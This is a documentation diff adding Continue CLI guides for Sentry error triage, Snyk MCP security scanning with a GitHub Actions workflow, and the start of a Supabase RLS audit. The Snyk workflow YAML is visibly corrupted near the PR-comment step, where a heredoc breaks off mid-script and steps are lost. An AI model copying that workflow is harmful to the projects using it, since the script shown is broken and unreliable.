`gh auth login` and follow the prompts + 3. Choose authentication method (browser or token) + 4. Grant necessary permissions when prompted (`issues:write` is **required** for creating issues) + + + +## Sentry Error Monitoring Workflow Options + + + Skip the manual setup and use our pre-built Sentry Continuous AI agent that includes + optimized prompts, rules, and the Sentry MCP for more consistent results. + + + + **How Sentry MCP Works**: + - Connects to your Sentry organization via OAuth + - Provides tools for accessing issues, projects, teams, and DSNs + - Supports both hosted (`https://mcp.sentry.dev`) and self-hosted Sentry instances + - Automatically handles authentication and API interactions + + + + + **Perfect for:** Immediate error analysis with AI-powered root cause detection and built-in debugging + + + + Visit the [Sentry Continuous AI Agent](https://hub.continue.dev/continuedev/sentry-continuous-ai-agent) on Continue Hub and click **"Install Agent"** or run: + + ```bash + cn --agent continuedev/sentry-continuous-ai-agent + ``` + + This agent includes: + - **Optimized prompts** for Sentry error analysis and GitHub issue creation + - **Built-in rules** for consistent formatting and error handling + - **[Sentry MCP](https://docs.sentry.io/product/sentry-mcp/)** for more reliable API interactions + - **Automatic authentication** via OAuth flow + + + + Navigate to your project directory and enter this prompt in the Continue CLI TUI: + + ``` + Analyze recent Sentry errors and create GitHub issues for critical bugs with suggested fixes + ``` + + That's it! The agent handles everything automatically. + + + + + **Why Use the Agent?** Results are more consistent and debugging is easier thanks to the Sentry MCP integration and pre-tested prompts. + + + + + + + + Configure the [Sentry MCP](https://docs.sentry.io/product/sentry-mcp/) using OAuth: + + The MCP server will automatically prompt for OAuth authentication when you first use it. + + + + Test your Sentry MCP connection with this prompt: + + ``` + List my Sentry organizations and projects + ``` + + + + Use this prompt template with Continue CLI to analyze Sentry errors: + + ``` + Analyze Sentry errors from the past 24 hours: + - Group errors by root cause + - Identify the top 5 most critical issues by frequency and impact + - For each critical issue, provide: + * Stack trace analysis + * Affected user count + * First seen and last seen timestamps + * Suggested fix based on error context + - Create GitHub issues using gh CLI with: + * Title format: '🐛 [Sentry] [Error Type]: Brief description' + * Labels: 'bug', 'sentry', 'production' + * Priority labels based on severity + * Full error context and suggested fix in the body + Execute the commands and confirm each issue was created. + ``` + + + + + + + + **Why GitHub CLI over GitHub MCP**: While GitHub MCP is available, it can be + token-expensive to run. The `gh` CLI is more efficient, requires no API tokens + (authenticated via `gh auth login`), and provides a cleaner command-line + experience. GitHub MCP remains an option if you prefer full MCP integration. + + + + To use the pre-built agent, you need either: + - **Continue CLI Pro Plan** with the models add-on, OR + - **Your own API keys** added to Continue Hub secrets (same as Step 1) + + The agent will automatically detect and use your configuration. For Sentry MCP: + - **Sentry account** with at least one project + - **User Auth Token** with appropriate scopes (or OAuth flow) + - The MCP works with both Sentry's hosted service (`sentry.io`) and self-hosted instances + + +--- + + + **Repository Labels Required**: Make sure your GitHub repository has these labels: + - `bug`, `sentry`, `production` + - `critical`, `high-priority`, `medium-priority`, `low-priority` + - `needs-investigation`, `has-fix` + + Create missing labels in your repo at: **Settings → Labels → New label** + + +## Step 2: Analyze Sentry Errors with AI + +Use Continue CLI to perform intelligent error analysis. Enter these prompts in the Continue CLI TUI: + + +To run any of the example prompts below in headless mode, use `cn -p "prompt"` + + + + + **Prompt:** + ``` + Show me Sentry errors from the past 7 days, grouped by error type, with frequency counts + ``` + + + + **Prompt:** + ``` + Find the most critical Sentry error affecting the most users in production and provide: + - Full stack trace analysis + - Affected user count and browser/OS breakdown + - Timeline of when the error started occurring + - Similar historical issues from Sentry + - Root cause hypothesis based on code context + - Suggested fix with code examples + ``` + + + + **Prompt:** + ``` + Analyze Sentry performance data to identify: + - Slowest transactions in the past 24 hours + - Database queries with high latency + - API endpoints with degraded performance + - Suggested optimizations for each issue + ``` + + + + + **Available Sentry MCP Tools**: + - **Organizations**: Access org-level data and settings + - **Projects**: Query projects and their configurations + - **Issues**: Search and analyze error issues + - **Teams**: Manage team assignments + - **DSNs**: Retrieve project DSN configurations + + + +## Step 3: Automate GitHub Issue Creation + +Create actionable GitHub issues from Sentry errors. Enter this prompt in the Continue CLI TUI: + +**Prompt:** +``` +For each unresolved Sentry error with 'critical' or 'high' severity: +1. Analyze the error using Sentry MCP +2. Create a GitHub issue with gh CLI: + - Title: '🐛 [Sentry] [Error Type]: Brief description' + - Body with: + * Error summary and impact (affected users, frequency) + * Full stack trace + * Environment details (browser, OS, release version) + * Link to Sentry issue + * Root cause analysis from AI + * Suggested fix with code snippets + * Related Sentry issues + - Labels: 'bug', 'sentry', 'production', and severity label + - Assignees: Team member based on code ownership +3. Update Sentry issue with GitHub issue link +4. Confirm creation with GitHub issue URL +``` + + + **Best Practice**: Link GitHub issues back to Sentry for full traceability. This creates a bidirectional connection between your error monitoring and issue tracking. + + +## Step 4: Set Up Continuous Monitoring with GitHub Actions + +Automate error monitoring with the [Sentry Release GitHub Action](https://docs.sentry.io/product/releases/setup/release-automation/github-actions/) and Continue CLI to create comprehensive, AI-powered issue descriptions: + + + **Why Combine Sentry Releases with Continue CLI?** + - **Release Tracking**: Associate errors with specific deployments + - **AI-Powered Analysis**: Continue CLI generates detailed issue descriptions with root cause analysis + - **Better Context**: Link errors to commits and pull requests + - **Automated Workflows**: Create issues with full stack traces and suggested fixes + + +```yaml +name: Sentry Error Monitoring + +on: + push: + branches: + - main + schedule: + # Run every 6 hours + - cron: "0 */6 * * *" + workflow_dispatch: # Allow manual triggers + +jobs: + monitor-errors: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - uses: actions/setup-node@v4 + with: + node-version: "22" + + # Create Sentry release for better error tracking + - name: Create Sentry release + uses: getsentry/action-release@v1 + env: + SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }} + SENTRY_ORG: ${{ secrets.SENTRY_ORG }} + SENTRY_PROJECT: ${{ secrets.SENTRY_PROJECT }} + with: + environment: production + + - name: Install Continue CLI + run: | + npm install -g @continuedev/cli + echo "✅ Continue CLI installed" + + - name: Authenticate GitHub CLI + run: | + echo "${{ secrets.GITHUB_TOKEN }}" | gh auth login --with-token + echo "✅ GitHub CLI authenticated" + + - name: Analyze Sentry Errors and Create Issues + env: + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} + SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }} + SENTRY_ORG: ${{ secrets.SENTRY_ORG }} + SENTRY_PROJECT: ${{ secrets.SENTRY_PROJECT }} + run: | + echo "🔍 Analyzing Sentry errors..." + + # Use Continue CLI to analyze errors and generate comprehensive issue descriptions + cn -p "Using Sentry MCP, analyze errors from the past 6 hours for project $SENTRY_PROJECT: + 1. Filter for unresolved errors with high or critical severity + 2. Group similar errors to avoid duplicates + 3. For each unique critical error: + - Generate a comprehensive issue description including: + * Error summary with frequency and user impact metrics + * Full stack trace with highlighted problem areas + * Environment details (browser, OS, release version) + * Link to Sentry issue dashboard + * Root cause analysis using AI + * Step-by-step reproduction if available + * Suggested fix with code examples + * Related errors or patterns + - Check if a GitHub issue already exists for this error + - If not, create a new issue with the generated description + - Use gh CLI: gh issue create --title '[Sentry] [Error Type]: Brief description' --body 'AI-generated comprehensive analysis' --label 'bug,sentry,critical,needs-investigation' + - Link the GitHub issue back to Sentry + 4. Generate a summary report with: + - Total errors analyzed + - New issues created with URLs + - Errors skipped (already tracked) + - Release correlation if available + + Sentry Organization: $SENTRY_ORG + Project: $SENTRY_PROJECT + Only process errors not already tracked in GitHub." + + - name: Post workflow summary + if: always() + run: | + echo "## 📊 Sentry Error Monitoring Summary" >> $GITHUB_STEP_SUMMARY + echo "✅ Workflow completed at $(date)" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "Check the 'Analyze Sentry Errors' step above for:" >> $GITHUB_STEP_SUMMARY + echo "- Number of errors analyzed" >> $GITHUB_STEP_SUMMARY + echo "- GitHub issues created" >> $GITHUB_STEP_SUMMARY + echo "- Errors already tracked" >> $GITHUB_STEP_SUMMARY +``` + + + **Required GitHub Secrets**: + - `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys) + - `SENTRY_AUTH_TOKEN`: Your Sentry User Auth Token (needs scopes: `org:read`, `project:read`, `project:releases`, `event:read`) + - `SENTRY_ORG`: Your Sentry organization slug + - `SENTRY_PROJECT`: Your Sentry project slug + - `GITHUB_TOKEN`: Automatically provided by GitHub Actions + + Add these at: **Repository Settings → Secrets and variables → Actions** + + + + **Workflow Best Practices**: + - Run every 6 hours to catch critical errors quickly + - Create Sentry releases on push to track error-to-deployment correlation + - Use Continue CLI to generate comprehensive, AI-powered issue descriptions + - Use duplicate detection to avoid creating multiple issues for the same error + - Filter by severity to focus on high-impact issues + - Include full error context and suggested fixes in issues + - Tag issues with appropriate labels for team routing + - Link GitHub issues back to Sentry for bidirectional tracking + + +## What You've Built + +After completing this guide, you have a complete **Sentry-powered error monitoring system** that: + +- **Monitors production errors** - Automatically fetches and analyzes Sentry issues every 6 hours + +- **Identifies critical bugs** - Uses AI to spot high-impact errors + +- **Creates actionable tasks** - Generates GitHub issues with root cause analysis and suggested fixes + +- **Runs autonomously** - Operates continuously without manual intervention using GitHub Actions + +- **Scales with your app** - Handles growing error volumes and complexity automatically + + + Your system now operates at **[Level 2 Continuous AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** - AI handles routine error analysis with human oversight through GitHub issue review and resolution. + + +## Advanced Error Analysis Prompts + +Enhance your workflow with these advanced Continue CLI prompts: + + + + Compare error rates before and after the latest [Sentry release](https://docs.sentry.io/product/releases/) to identify regressions introduced in the deployment + + + Analyze Sentry error trends over the past 30 days and identify emerging issues before they become critical + + + Identify which errors are affecting the most unique users and prioritize fixes based on user impact + + + Cross-reference Sentry [performance issues](https://docs.sentry.io/product/performance/) with error spikes to identify root causes + + + +## Security Best Practices + + + **Protect Your API Keys**: + - Store all credentials as GitHub Secrets, never in code + - Use Continue CLI's secure secret storage + - Limit Sentry token scopes to minimum required permissions + - Rotate API keys regularly (every 90 days recommended) + - Monitor token usage for unusual activity + - Use OAuth when possible for better security + + +## Troubleshooting + +### Sentry MCP Connection Issues + +If you encounter connection issues: + +1. Verify OAuth authentication is complete +2. Check your Sentry organization access +3. Ensure the MCP server URL is correct (`https://mcp.sentry.dev/mcp`) +4. For self-hosted Sentry, verify your host URL is configured correctly + +See the [Sentry MCP GitHub Issues](https://github.com/getsentry/sentry-mcp/issues) for known issues and solutions. + +### Common Error Analysis Issues + +| Issue | Solution | +|:------|:---------| +| No errors returned | Verify your Sentry project has collected errors recently | +| OAuth prompt not appearing | Check that Continue CLI has proper MCP configuration | +| Duplicate GitHub issues | Implement duplicate detection in your prompts | +| Missing error context | Ensure your Sentry token has `event:read` scope | + +## Next Steps + + +- Set up [Sentry performance monitoring](https://docs.sentry.io/product/performance/) +- Configure [Sentry release tracking](https://docs.sentry.io/product/releases/) for deployment correlation +- Integrate [Slack MCP](https://hub.continue.dev/slack/slack-mcp) for error alerts +- Join the [Continue Discord](https://discord.gg/continue) for support + +## Resources + +- [Sentry MCP Documentation](https://docs.sentry.io/product/sentry-mcp/) +- [Sentry API Documentation](https://docs.sentry.io/api/) +- [Sentry Issues Guide](https://docs.sentry.io/product/issues/) +- [Sentry Performance Monitoring](https://docs.sentry.io/product/performance/) +- [Sentry Release Tracking](https://docs.sentry.io/product/releases/) + +- [Sentry MCP GitHub Repository](https://github.com/getsentry/sentry-mcp) +- [GitHub CLI Documentation](https://cli.github.com/) +- [Continue CLI Guide](https://docs.continue.dev/guides/cli) +- [Continuous AI Best Practices](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/) diff --git a/docs/guides/snyk-mcp-continue-cookbook.mdx b/docs/guides/snyk-mcp-continue-cookbook.mdx new file mode 100644 index 000000000..efc900a29 --- /dev/null +++ b/docs/guides/snyk-mcp-continue-cookbook.mdx @@ -0,0 +1,707 @@ +--- +title: "Automated Security Scanning with Snyk MCP and Continue" +description: "Set up an AI-powered security workflow that automatically scans your code, dependencies, infrastructure, and containers using natural language commands." +sidebarTitle: "Snyk Security Scanning with Continue" +--- + + + An automated security scanning system that uses Continue's AI agent with Snyk + MCP to identify vulnerabilities in code, dependencies, infrastructure, and + containers - all through simple natural language prompts + + +## Demo Video + + + +## Prerequisites + +Before starting, ensure you have: + +- Continue account with **Hub access** +- Read: [Understanding Configs — How to get started with Hub configs](/guides/understanding-configs#how-to-get-started-with-hub-configs) +- Node.js 18+ installed locally +- [Snyk account](https://snyk.io/) (free tier works) +- A local project to scan for vulnerabilities + +For all options, first: + + + ```bash + npm i -g @continuedev/cli + ``` + + + + + 1. Sign up for a Snyk account at [snyk.io](https://snyk.io/) + 2. Create a new project in Snyk by importing your code repository (Git + provider or manual upload) + 3. Install and authenticate the Snyk CLI locally: + ```bash + npm install -g snyk + snyk auth + ``` + This will open your browser to authenticate with your Snyk account. + + + + + **Important**: The Snyk MCP requires the Snyk CLI to be authenticated locally. Run `snyk auth` to authenticate before using the Continue agent with Snyk MCP. + + + To use agents in headless mode, you need a [Continue API key](https://hub.continue.dev/settings/api-keys). + + +## Snyk Continuous AI Workflow Options + + + Skip the manual setup and use our pre-built Snyk Continuous AI agent that includes + the Snyk MCP and optimized security scanning workflows for more consistent results. + + + +After ensuring you meet the **Prerequisites** above, you have two paths to get started: + + + + + + Navigate to your project directory and run: + ```bash + cn --agent continuedev/snyk-continuous-ai-agent + ``` + + This agent includes: + - **Snyk MCP** pre-configured and ready to use + - **Security-focused rules** for best practices + + + + From your project directory, start with a comprehensive security scan: + ```bash + # Headless mode + cn -p "Run a complete security scan on this project including code vulnerabilities, dependencies, and any IaC files. Summarize findings by severity." --auto + ``` + + That's it! The agent handles everything automatically. + + + + + **Why Use the Agent?** The pre-built agent provides consistent security scanning workflows and handles MCP configuration automatically, making it easier to get started with AI-powered security scanning. + + + + + + + + Go to the [Continue Hub](https://hub.continue.dev) and [create a new agent](https://hub.continue.dev/new?type=agent). + + + + Visit the [Snyk Continuous AI Agent](https://hub.continue.dev/continuedev/snyk-continuous-ai-agent) and click **Install** to add it to the agent you created in the step above. + + This will add Snyk MCP to your agent's available tools. The Hub listing automatically configures the MCP command: + ```bash + npx -y snyk@latest mcp -t stdio + ``` + + + **Alternative installation methods:** + 1. **Quick CLI install**: `cn --mcp snyk/snyk-mcp` + 2. **Manual configuration**: Add the MCP to your `~/.continue/config.json` under the `mcpServers` section + + Once installed, Snyk MCP tools become available to your Continue agent for all prompts. + + + + The MCP will request authentication and folder trust permissions when first used. + This is handled automatically by the Continue agent. + + + + + + Install the [Snyk Secure-at-Inception rules](https://hub.continue.dev/snyk/secure-at-inception) from the Hub to enable automatic security scanning. + + **How to add rules to your agent:** + 1. Visit the rules link above and click **Install** + 2. The rules will be added to your agent configuration automatically + 3. Rules apply globally to all your Continue sessions + + These rules configure your agent to: + - **Run [SAST](https://snyk.io/learn/application-security/sast/) scans** on newly generated or modified code + - **Check dependencies** when adding or updating packages + - **Auto-fix issues** using Snyk's recommendations, then rescan + + + + + Start with a comprehensive security scan: + ```bash + # TUI mode + cn "Run a complete security scan on this project including code vulnerabilities, dependencies, and any IaC files. Summarize findings by severity." + ``` + + + + + + + + To use the pre-built agent, you need either: + - **Continue CLI Pro Plan** with the models add-on, OR + - **Your own API keys** added to Continue Hub secrets (same as manual setup) + + The agent will automatically detect and use your configuration along with the pre-configured Snyk MCP for security scanning operations. + + + +--- + +## Security Scanning Recipes + +Now you can use natural language prompts to run comprehensive security scans. The Continue agent automatically calls the appropriate Snyk MCP tools. + + +You can add prompts to your agent's configuration for easy access in future sessions. Go to your agent in the [Continue Hub](https://hub.continue.dev), click **Edit**, and add prompts under the **Prompts** section. + + + + **Where to run these workflows:** + - **IDE Extensions**: Use Continue in VS Code, JetBrains, or other supported IDEs + - **Terminal (TUI mode)**: Run `cn` to enter interactive mode, then type your prompts + - **CLI (headless mode)**: Use `cn -p "your prompt" --auto` for headless commands + + **Test in Plan Mode First**: Before running security scans that might make + changes, test your prompts in plan mode (see the [Plan Mode + Guide](/guides/plan-mode-guide); press **Shift+Tab** to switch modes in TUI/IDE). This + shows you what the agent will do without executing it. For example: `"Run a + Snyk Code scan and fix the top 3 issues"` + + +### Code Vulnerability Scanning ([SAST](https://snyk.io/learn/application-security/sast/)) + + + Scan your source code for security vulnerabilities and code quality issues. + +**TUI Mode Prompt:** +``` +Run a Snyk Code scan on this repo with severity threshold medium. +Summarize issues with file:line. Propose minimal diffs for the top 3 +and rerun to verify. +``` + +**Headless Mode Prompt:** +```bash +cn -p "Run a Snyk Code scan on this repo with severity threshold medium. Summarize issues with file:line. Propose minimal diffs for the top 3 and rerun to verify." --auto +``` + + + +### Dependency Scanning ([SCA](https://snyk.io/learn/software-composition-analysis-sca/)) + + + Check open source dependencies for known vulnerabilities. + +**TUI Mode Prompt:** +``` +Run Snyk Open Source on this repo (include dev deps). +Summarize vulnerable paths and propose a minimal-risk upgrade plan. +Re-test after the plan (dry run). +``` + +**Headless Mode Prompt:** +```bash +cn -p "Run Snyk Open Source on this repo (include dev deps). Summarize vulnerable paths and propose a minimal-risk upgrade plan. Re-test after the plan (dry run)." --auto +``` + + + +### Infrastructure as Code ([IaC](https://snyk.io/learn/infrastructure-as-code-iac/)) + + + Scan Terraform, CloudFormation, and Kubernetes configs for misconfigurations. + +**TUI Mode Prompt:** +``` +Scan ./infra with Snyk IaC. Report high/critical misconfigs +with exact files/lines. Provide code changes and re-scan to confirm. +``` + +**Headless Mode Prompt:** +```bash +cn -p "Scan ./infra with Snyk IaC. Report high/critical misconfigs with exact files/lines. Provide code changes and re-scan to confirm." --auto +``` + + + +### Container Scanning + + + Analyze Docker images for vulnerabilities in base images and packages. + +**TUI Mode Prompt:** +``` +Scan image my-api:latest. Exclude base image vulns. +Print dependency tree. Recommend a safer base image or upgrades. +Re-test after the change (dry run). +``` + +**Headless Mode Prompt:** +```bash +cn -p "Scan image my-api:latest. Exclude base image vulns. Print dependency tree. Recommend a safer base image or upgrades. Re-test after the change (dry run)." --auto +``` + + + +### Pull Request Scanning + + + Focus scanning on modified files to catch issues before merging. + +**TUI Mode Prompt:** +``` +Scan only files changed since origin/main with Snyk Code. +Block if new high issues would be introduced. Show deltas. +``` + +**Headless Mode Prompt:** +```bash +cn -p "Scan only files changed since origin/main with Snyk Code. Block if new high issues would be introduced. Show deltas." --auto +``` + + + +### Security Learning + + + Access security education resources based on identified vulnerabilities ([CWE](https://cwe.mitre.org/)). + +**TUI Mode Prompt:** +``` +Open Snyk Learn lessons related to the top CWE(s) from this scan. +``` + +**Headless Mode Prompt:** +```bash +cn -p "Open Snyk Learn lessons related to the top CWE(s) from this scan." --auto +``` + + + +## Continuous Security with GitHub Actions + +This example demonstrates a **Continuous AI workflow** where security scanning runs automatically on pull requests, generates AI-powered mitigation suggestions, and posts them as PR comments. + + + + **About the --auto flag**: The `--auto` flag enables tools to run continuously without manual confirmation. This is essential for headless mode where the agent needs to execute multiple tools automatically to complete tasks like security scanning, vulnerability analysis, and fix validation. + + + +### Add GitHub Secrets + +Navigate to **Repository Settings → Secrets and variables → Actions** and add: + +- `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys) +- `SNYK_TOKEN`: Your Snyk authentication token from [app.snyk.io/account](https://app.snyk.io/account) + +### Create Workflow File + +Create `.github/workflows/snyk-security.yml` in your repository: + +```yaml +name: Snyk Security Scanning + +on: + pull_request: + branches: [main] + +jobs: + security-scan: + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 # Fetch all history for git diff + + - name: Get Changed Files + id: changed-files + run: | + echo "📝 Getting changed files since main branch..." + CHANGED_FILES=$(git diff --name-only origin/${{ github.base_ref }}...HEAD | tr '\n' ' ') + echo "changed_files=$CHANGED_FILES" >> $GITHUB_OUTPUT + echo "Changed files: $CHANGED_FILES" + + - name: Set up Node.js + uses: actions/setup-node@v4 + with: + node-version: '18' + + - name: Install Snyk CLI + run: | + npm install -g snyk + echo "✅ Snyk CLI installed" + + - name: Install Continue CLI + run: | + npm install -g @continuedev/cli + echo "✅ Continue CLI installed" + + - name: Validate Secrets + run: | + if [ -z "${{ secrets.SNYK_TOKEN }}" ]; then + echo "❌ Error: SNYK_TOKEN secret is not set" + exit 1 + fi + if [ -z "${{ secrets.CONTINUE_API_KEY }}" ]; then + echo "⚠️ Warning: CONTINUE_API_KEY not set - AI mitigation suggestions will be skipped" + fi + echo "✅ Required secrets validated" + + - name: Authenticate Snyk + env: + SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} + run: | + snyk auth "$SNYK_TOKEN" + echo "✅ Snyk authenticated" + + - name: Run Security Scans + id: security-scan + continue-on-error: true + env: + SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} + CHANGED_FILES: ${{ steps.changed-files.outputs.changed_files }} + run: | + SCAN_FAILED=0 + + if [ -n "$CHANGED_FILES" ]; then + echo "🔍 Running targeted scan on changed files..." + echo "Changed files: $CHANGED_FILES" + FILE_ARGS="" + for file in $CHANGED_FILES; do + if [[ "$file" =~ \.(js|jsx|ts|tsx|py|java|go|rb)$ ]]; then + FILE_ARGS="$FILE_ARGS --file=$file" + fi + done + + if [ -n "$FILE_ARGS" ]; then + echo "🔍 Running Snyk Code scan on changed files..." + snyk code test $FILE_ARGS --severity-threshold=high --json > snyk-code-results.json || { + echo "❌ Snyk Code found high severity issues in changed files" + SCAN_FAILED=1 + } + else + echo "⚠️ No scannable code files changed, skipping Snyk Code scan" + echo '{"runs": [{"results": []}]}' > snyk-code-results.json + fi + else + echo "⚠️ No changed files detected, creating empty results" + echo '{"runs": [{"results": []}]}' > snyk-code-results.json + fi + + echo "📦 Checking dependencies..." + snyk test --severity-threshold=high --json > snyk-oss-results.json || { + echo "❌ Snyk Open Source found high severity issues" + SCAN_FAILED=1 + } + + if [ $SCAN_FAILED -eq 1 ]; then + echo "scan_status=failed" >> $GITHUB_OUTPUT + echo "⚠️ Scans completed with issues - continuing to generate mitigation suggestions" + else + echo "scan_status=passed" >> $GITHUB_OUTPUT + echo "✅ All security scans passed" + fi + + - name: Generate AI Mitigation Suggestions + if: always() && steps.security-scan.outputs.scan_status == 'failed' + continue-on-error: true + env: + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} + SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} + run: | + echo "🤖 Generating AI-powered mitigation suggestions..." + + # Create a summary of findings for Continue CLI + FINDINGS_SUMMARY=$(cat snyk-code-results.json snyk-oss-results.json | jq -r ' + if .runs then + .runs[0].results[] | "Code Issue: \(.message.text) in \(.locations[0].physicalLocation.artifactLocation.uri) (Severity: \(.level))" + elif .vulnerabilities then + .vulnerabilities[] | "Dependency Issue: \(.title) in \(.packageName)@\(.version) (Severity: \(.severity))" + else + empty + end + ' | head -20) + + if [ -n "$FINDINGS_SUMMARY" ]; then + echo "📋 Security findings to analyze:" + echo "$FINDINGS_SUMMARY" + echo "" + + # Use Continue CLI to generate mitigation suggestions + PROMPT="Analyze these Snyk security findings and provide specific, actionable mitigation steps for each issue. Focus on: 1) Root cause, 2) Immediate fix, 3) Long-term prevention. Findings: $FINDINGS_SUMMARY. Provide clear, prioritized recommendations." + + cn --agent continuedev/snyk-continuous-ai-agent -p "$PROMPT" --auto > mitigation-suggestions.md || { + echo "⚠️ Warning: Could not generate AI suggestions" + exit 0 + } + + if [ -f mitigation-suggestions.md ]; then + echo "✅ AI mitigation suggestions generated" + echo "" + echo "--- Mitigation Suggestions ---" + cat mitigation-suggestions.md + fi + else + echo "⚠️ No findings to analyze" + fi + + - name: Post Mitigation Summary to PR + if: steps.security-scan.outputs.scan_status == 'failed' && hashFiles('mitigation-suggestions.md') != '' + continue-on-error: true + env: + GH_TOKEN: ${{ github.token }} + run: | + if [ -f mitigation-suggestions.md ]; then + echo "💬 Posting mitigation summary to PR..." + + # Create PR comment with mitigation suggestions + cat > pr-comment.md <<'EOF' + ## 🛡️ Snyk Mitigation Summary + + Snyk has identified security issues in this PR. Here are AI-generated mitigation recommendations: + + EOF + + cat mitigation-suggestions.md >> pr-comment.md + + cat >> pr-comment.md < scan-results.md + + if [ -f scan-results.md ]; then + echo "✅ Security report generated successfully" + cat scan-results.md + else + echo "⚠️ Warning: scan-results.md was not created" + fi + + - name: Upload Security Report + if: always() + continue-on-error: true + uses: actions/upload-artifact@v4 + with: + name: security-scan-results + path: | + scan-results.md + snyk-code-results.json + snyk-oss-results.json + mitigation-suggestions.md + if-no-files-found: warn + + - name: Fail if Security Issues Found + if: steps.security-scan.outputs.scan_status == 'failed' + run: | + echo "❌ Security scan failed - high severity issues found" + echo "📋 Review the security report artifact for details and mitigation suggestions" + exit 1 +``` + + + **About SNYK_TOKEN**: The workflow uses the SNYK_TOKEN in two ways: + 1. **Direct Snyk CLI authentication** - Authenticates the Snyk CLI for running scans + 2. **Continue CLI access** - Available as an environment variable when Continue generates AI mitigation suggestions + + The `cn` agent automatically uses the SNYK_TOKEN when needed for Snyk MCP operations. + + + + This workflow demonstrates several advanced features: + - **Changed Files Detection**: Only scans files modified in the PR + - **AI Mitigation**: Uses Continue CLI to generate actionable mitigation steps + - **PR Comments**: Automatically posts mitigation suggestions as PR comments + - **Comprehensive Reporting**: Generates detailed security reports with artifacts + + +## Security Guardrails + +Implement automated security policies using Continue's rule system. See the [Rules deep dive](/customize/deep-dives/rules) for authoring tips. + + + **Coming Soon**: These security guardrail prompts will be available as pre-configured rules on the Continue Hub for easy installation. + + + + ```bash + "Always run Snyk Code before committing newly + generated code; refuse to proceed if high + issues remain." + ``` + + + + ```bash + "When adding/updating a dependency, run Snyk Open Source, choose the + lowest-risk upgrade, and re-test." + ``` + + + + ```bash + "Before building containers, scan base images and recommend + security-hardened alternatives." + ``` + + + + ```bash + "Scan all Terraform changes for compliance + violations before applying infrastructure." + ``` + + + + Enable the **Secure-at-Inception** rules from the Hub to automatically apply + these guardrails to all code generation and modifications. + + +## Troubleshooting + +### Authentication Issues + +```bash +"Check Snyk auth status and current org. If not authenticated, +help me authenticate. Then run a quick Code scan on ./ +with severity medium and print one example issue." +``` + +### Fix Validation + +```bash +"Propose minimal diffs only in affected files, +then rerun the same Snyk scan to confirm resolution." +``` + +### Connection Problems + + + **Verification Steps:** - Snyk MCP is installed via [Continue + Hub](https://hub.continue.dev/snyk/snyk-mcp) - Secure-at-Inception rules are + [enabled](https://hub.continue.dev/snyk/secure-at-inception) - Authentication + completed successfully - Project folder has been trusted + + +## What You've Built + +After completing this guide, you have a complete **AI-powered security system** that: + +- ✅ Uses natural language — Simple prompts instead of complex CLI commands +- ✅ Fixes automatically — AI suggests and validates security fixes +- ✅ Runs continuously — Automated scanning in CI/CD pipelines +- ✅ Enforces guardrails — Security rules prevent vulnerable code from shipping + + + Your security workflow now operates at **[Level 2 Continuous + AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** - + AI handles routine security scanning and remediation with human oversight + through review and approval of fixes. + + +## Next Steps + +1. **Run your first scan** - Try the [SAST](https://snyk.io/learn/application-security/sast/) prompt on your current project +2. **Review findings** - Analyze the security report and implement fixes +3. **Set up CI pipeline** - Add the GitHub Actions workflow to your repo +4. **Customize rules** - Add project-specific security policies +5. **Monitor trends** - Track [vulnerability](https://snyk.io/learn/security-vulnerability/) reduction over time + +## Additional Resources + + + + Complete Snyk platform documentation + + + Explore more MCP integrations and agents + + + Learn about secure coding practices + + + Understanding MCP architecture + + diff --git a/docs/guides/supabase-mcp-database-workflow.mdx b/docs/guides/supabase-mcp-database-workflow.mdx new file mode 100644 index 000000000..8f3eeca47 --- /dev/null +++ b/docs/guides/supabase-mcp-database-workflow.mdx @@ -0,0 +1,512 @@ +--- +title: "Supabase RLS Security Audit and Fixes with MCP" +description: "Learn how to audit Row Level Security in your Supabase database, identify vulnerabilities, and automatically generate fixes using Continue CLI and Supabase MCP." +sidebarTitle: "Supabase RLS Security Audit" +--- + + + A security audit workflow that uses Continue CLI with Supabase MCP to identify RLS vulnerabilities, generate secure policies, fix permission issues, and ensure your database follows security best practices. + + +## What You'll Learn + +This cookbook teaches you to: + +- Use [Supabase MCP](https://supabase.com/docs/guides/getting-started/mcp) to audit database security +- Identify tables without Row Level Security (RLS) enabled +- Find and fix overly permissive or missing RLS policies +- Generate secure RLS migrations following best practices +- Automate security audits with GitHub Actions + +## Prerequisites + +Before starting, ensure you have: + +- [Supabase account](https://supabase.com) with an active project +- Node.js 18+ installed locally +- [Continue CLI](https://docs.continue.dev/guides/cli) with **active credits** (required for API usage) +- Basic understanding of SQL and database concepts + + + + ```bash + npm i -g @continuedev/cli + ``` + + + + 1. Visit [Continue Organizations](https://hub.continue.dev/settings/organizations) + 2. Sign up or log in to your Continue account + 3. Navigate to your organization settings + 4. Click **"API Keys"** and then **"+ New API Key"** + 5. Copy the API key immediately (you won't see it again!) + 6. Login to the CLI: `cn login` + + + + + Continue CLI can analyze your database schema and generate complex SQL queries - you just need to describe what you want in plain language! + + +## Step 1: Set Up Your Credentials + +First, you'll need to set up access to your Supabase project. + + + + + + **Security First**: Follow [Supabase's security best practices](https://supabase.com/docs/guides/getting-started/mcp#security-risks) when using MCP: + - Never connect to production databases directly + - Use development or staging environments + - Enable read-only mode when possible + - Scope MCP access to specific projects + + + The Supabase MCP supports OAuth authentication for secure access: + + **OAuth Configuration (Recommended)** + + The Supabase MCP will prompt for OAuth authentication when first used. Simply follow the authorization flow. + + **Remote MCP URL** + ``` + https://mcp.supabase.com/mcp + ``` + + + The MCP server can be scoped to a specific project for better security. Configure this during setup. + + + + + To use Supabase MCP effectively, ensure your project has: + + 1. **Development Environment** - Create a separate development project: + - Go to [Supabase 